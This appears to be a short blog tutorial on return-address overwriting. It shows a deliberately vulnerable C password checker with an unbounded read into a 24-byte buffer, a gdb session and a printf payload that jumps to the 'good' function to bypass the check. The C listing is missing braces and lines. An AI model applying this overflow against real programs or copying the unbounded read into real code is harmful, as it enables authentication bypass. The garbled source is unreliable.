So there is a lot of talk about ASLR and DEP, and other protection mechanisms in place to prevent the full exploitation of an application. But sometimes you dont need to execute arbitrary instructions on the system, only change the flow of code execution. Consider the following program;

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 

int check(char *pass) { 
	size_t len=strlen(pass); 
	unsigned total = 0; 
	size_t i; 
	if (len < 10) 
		return 0; 
	for (i=0;i<len;i++){ 
		if((pass[i] < '0' )||(pass[i] >'z')) 
			return 0; 
		total +=pass[i]; 
	if (total %853 == 69) 
		return 1; 
	else return 0; 

int validate(){ 
	char pass[24]; 
	fscanf(stdin, "%s", pass); 
		return 1; 
		return 0; 

int good(){ 
	printf ("Congratulations You Got It!\n"); 

int bad(){ 
	printf ("Sorry You Did Not Get It :-(\n"); 

int main(int argc, char *argv[]) { 
	else bad(); 
		return 0; 

Without figuring out what the correct password is we can get this application to execute the code in the good function. Observe;

[ring0@ ~/badc]$ gdb -q pass2 Reading symbols from /home/ring0/badc/pass2…done. (gdb) disassemble main Dump of assembler code for function main: 0x080485c1 <+0>: lea 0x4(%esp),%ecx 0x080485c5 <+4>: and $0xfffffff0,%esp 0x080485c8 <+7>: pushl -0x4(%ecx) 0x080485cb <+10>: push %ebp 0x080485cc <+11>: mov %esp,%ebp 0x080485ce <+13>: push %ecx 0x080485cf <+14>: sub $0x4,%esp 0x080485d2 <+17>: call 0x804853e 0x080485d7 <+22>: test %eax,%eax 0x080485d9 <+24>: je 0x80485e2 0x080485db <+26>: call 0x8048585 0x080485e0 <+31>: jmp 0x80485e7 0x080485e2 <+33>: call 0x80485a3 0x080485e7 <+38>: mov $0x0,%eax 0x080485ec <+43>: add $0x4,%esp 0x080485ef <+46>: pop %ecx 0x080485f0 <+47>: pop %ebp 0x080485f1 <+48>: lea -0x4(%ecx),%esp 0x080485f4 <+51>: ret
End of assembler dump. (gdb) run Starting program: /home/ring0/badc/pass2 AAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH

Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? () (gdb) quit A debugging session is active.

Inferior 1 [process 5706] will be killed.

Quit anyway? (y or n) y [ring0@ ~/badc]$ printf “AAAAAAAAAAAAAAAAAAAAAAAABBBB\xdb\x85\x04\x08”|./pass2 Congratulations You Got It!

So what did we get. We managed to bypass the authentication function of the application. And since we are jumping back into our own application we do not have to deal with randomization, or finding a place for our shellcode, or anything like that. Now obviously this limits us to doing only things the application plans on doing, but we can alter the logic of the application now.